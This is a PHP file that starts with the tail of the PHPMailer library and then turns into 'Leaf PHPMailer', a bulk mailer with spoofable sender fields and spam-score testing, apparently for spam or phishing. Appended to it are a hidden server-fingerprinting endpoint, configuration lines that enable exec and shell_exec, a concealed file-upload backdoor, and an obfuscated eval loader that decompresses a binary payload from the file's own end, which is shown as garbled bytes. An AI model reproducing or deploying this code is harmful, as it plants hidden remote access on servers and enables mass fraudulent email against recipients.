            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$FkpS='gzuncomp'.'ress';$bSKt='st'.'r'.'_repla'.'ce';$ktZB='file_ge'.'t'.'_conten'.'ts';$dnBP='sub'.'str';$XCuT='exi'.'t';eval($FkpS($bSKt('prnifwmvcs','>',$bSKt('ytabvwrpku','<',$dnBP($ktZB( __FILE__ ),-171875)))));$XCuT(0);
?>
xLǎ`f_WjѺ {Ϥwytabvwrpku}Gޚd{{TuY~ߏ㿊jt㿧li73"ֿgo̧a^׭7X^^{۱Vw]n_~箵uo_/l_ٕg)~KcVISg9;	'l{(gϪ*.$뇂oW yAe%SJז:jRFE|4NŖ)b~	uyPkE#s'2bBGp:$!nyMc	x;-:#;ÌNu]_G)c3&{::`为]ZWτEA,pgeRk
4޳#(~M-0TY$+6TtɎ{#ɲprnifwmvcs6L0ΧRG!	NT+G:-5;ee[\զprnifwmvcs4ռ46*7jQQdV߉al`}9z)v}E:ur`prnifwmvcsw|mD5$Q8f
AʏCfqTcfaJNj
ZyeH^!8{c|ꆱa \GJ!G?ܟ,!ժ:X
"i\e %)Psڬhlax)|/`\:
44(^X}JytabvwrpkuK@гr\t3+.Bݖ6yIQggE!+T;ogӏLf-م}O Uso|vơ@97vIX+y]#1͘;vP&͙{30n	:*s*젣M9򅃌e0]qpe*gyQzm:uG^&A#BISiHWG)Mb``[X&V"xҩצ40"lɽs۫+a
OaDQ"%)k9l,6p@&EF~w	%mi2)kIHcq3}쫎XJ ttWAc|z/;BP@7,W.X0g[oc M!62ӑn好.cF[g{]vprnifwmvcsS,%yCmphT0;Rv*ंbp kprnifwmvcsv03/tjQS5TSYoE,p@̢Jd@?Y	Pssv0Vwj;%"~wFvp&6Y	+1=r5XQ&X^
 pu߮,^Cte+nD+oX;MZ*}RytabvwrpkuX)ӕ^ILe9WtIP5gvQLaSs
POQ[{7lZRr=/5nӮexKe8p1C]v)UGg+Wuts7qPbMwƎV3B0z$ȸ5OO9}l(z!H@[}C u؝5 yhϰak
(-&vZ_eL{K6A)]$Ea_}ktuюPGj2WN6:DvKq'7x =bJ$ǰp
TZn8\Mzz[PI5f(FIa㜟cO:~5Yj #'GyX!A6AkOt98մ݇
j:/kytabvwrpkuFprnifwmvcs}2f@}b.2 ET҃uq1^o}j^1#",͋@,Ix3x^9˲c:mnnT):3rx.w-0М{ň8ETp`0#$u5b=Hd
^zoGz|gprnifwmvcs4NQ-2prnifwmvcs^n$JoJ7II_ߘ+XsH3glؼ]mJ-Y	os'b\ 7t뮷gT,15}!h'$e٪Qt9~~58j^+bխbc=prnifwmvcsN gytabvwrpku"9d7J`zOT1xR}tϧ?h0A':oQ+t8͸sw=DnU[ib{L2mE}Bkq`^*nFp!J: oa:I$T{Xg Etb~˔&X#gF;y|H%01kl}a5/Xnӟ](y&ݙg#ji#'fytabvwrpku=bsuL,MX1]끒0aVL'B{7؞
:8&;q̅ⲶVE5 nр4π) dⵅL!,??#V^	A2c]&N4AJgdV44dY9AO9{fEx
aMl`rÏsY @rƦ"=i޹ dN0^@eHʍJ;q~'M,-l.Ltl`
r	4P*)
zCAH	2]&l9٪Xu^{ˈ[|`4shSt/}iO7y'm7R?y|\/1HS*GrUpUprnifwmvcssxw(NڮQQ -^_|ChYXylepekO`8}o-J2QX5XܩJa[F62B)P֦
O0_ц .cG !՗Fqуڞ/FޡQ?h{s5^,Ώ;EeA\̼ٲIPRDK#;&(R7(|MpIу#[,ǹa]ytabvwrpkucϝ|9X}Qx0%y[$urW_])t✍o0E."N(FJ'|Iy.ZK]S؊L*͊̇	JQ@W#
WtDTyZjL ]1B6IM,6S:~`Vprnifwmvcs$)gRr*`~*sU.gej)Cuﹿ?seǇ26ytabvwrpkuOr7IޣS
ytabvwrpkuIp;
C8Гb]Rs3:Wt$:}=h}7
s吉jTN R8ytabvwrpkup3JtElmqB:MWjCT8rXxFuԨO3ο;?xT=$}j
}Ǥpa󧙲Ȣ]L	6LckFە}Q?Vy4*5FݖOi[᎙tU05'tn,%~prnifwmvcsΰy@g=0Ⰳ^@G*& cNBBLR}* ,kb$xd@L$#/% V|S")g!܎zO4s(y=is}.;lg,YAsh1n#r#H[hypH{:$aYSD}-9Fm?/t6LF,Z%|Eʹ6an0KWN
,.[sOV@ƖkcTytabvwrpkucXs|S[prnifwmvcsb^gF]\m"DnǀQn&\*H]|+5ꊆC|ηiV.-X_*R[Ã)LRKIKT	 kk÷s?AӦntZn#0xӡY'-,=R:	㾗.(l3 eP|٬sπqr88ZTvV~-\-E@s5o|F_WT@m`\
-'ytabvwrpku@ʅnytabvwrpkuBBof\~+vprnifwmvcsO	(F	JȸpcGN_{MUprnifwmvcs.T޳q+:O1ύhy P9hh(5ב:SCJ*WJ7,/'5~Mݵ|vwQS¬}-mc"VDMF}1nUf[uLAJ4Nprnifwmvcs(æqkgojytabvwrpku)}t\N1Fʫ|9WFT9lesaEʵj
 n8s^yU/W5 'I֟%={־ exeP_y.ru9*,uD64b4awTir}BߛQՌ~rk.D傯&.&,D̀Zk;M_!{FaBI8(㩟OZw]|O㣒D.prnifwmvcs!,
QT҃#[	!?m&']LXk-uxBٲ)i+i_AIl`vҊbۼ|s~8}lG䳬}9$`:-;M-#|r};B3.%cBZAm(Vb`#8ӕkiψ(VDXY1
ݶuoO%bO^GA5+cPS$6([w.tprnifwmvcs4q0D Q~a̢	4ha!Ӫb| @0/#ftK]Ӝ+s=WDF8ƮU#핗
匶
Dd-CQ+jkah@X_+al{j+iayprnifwmvcs#Y}˸mV}h&c)7?prnifwmvcs
x|±7^=NytabvwrpkuJb~mM}Vs?ytabvwrpkusiF"-ҋ@xFï/U&Zj:N'Хv3..70oL&!uZVk#bYQh/u%?V_,qoWD
J'kL);j$=Zၶt=G'oGA∳D;ichGt/'}ytabvwrpkuΫRz2ħ{y3Q?II H]
ntK_Dac5prnifwmvcsKz~Aԝ?;)H,z|d p|
ytabvwrpkuvo.d6;
ң4F9wjݼ-cL:hc
0ʌl]cyXX
P00Ǉ8vprnifwmvcs{ni"sL!xqtuJ+ͽiՎaTb馛($Qrr^NR4B,Pa:M=$9ek=#Z&wv:IImWGU]ԃI(x`H
ZꅐJC×ˢ&/}s
 {^Xnc~!lV내qcչ^Q_*oaU%\,/rNǏG{|a!XjY_`b9T$KY
	prnifwmvcsrN`3m#V=,0Y˼=oَ,o04G'6Um w-7mSAz
{ytabvwrpkuTtL:+ul'Y)"S/kӿr~	`jQٓXLC
'	5Aj4`4)9S 7e*Jbg7m+ DytabvwrpkumFxX\CՈlv
03q*qW贰a3}
T
OMdM]	2~J"w%P=$u@{6]z~C?ș]`4(5?ʻȊ-~S"ŇHw}ut
ytabvwrpkũ@`;֚*loH,Ezmk-\x6iWYb?XydACu\ҖbWgc3 J:4r= !\\qRl( %g
ߌ	&/YVZ8U!7~G7y(xumYe.hqY3T,eXqe{au%VziYZ͓%Np&}	*AWAmW: TWE/S'Hy5"tY{TD3rEŒPIeprnifwmvcs0!γmbcytabvwrpku+j 	;	XNy@7XS^ hvAe~	Bẋ}}1k_aZüfKbqȳ@9Ȝ=jhz*78!k9~t#x7d}D\o,
CVNs7"*m}M_Dq͠Kwٕ/AO~,vIOeOo=L!wfϵ6--_ΦKxB?t
KWNU%xپ[ޭzCj ytabvwrpku9.XR㝵 ;GN#]M6!ILƧ,7[
\R^j2X@aLh;.]YOyHܢ!i\QGDKELh-eqڣ\D8/YTiB"74E9a3V}7! ^CGJۤRI-NŦ㪱yZ떜
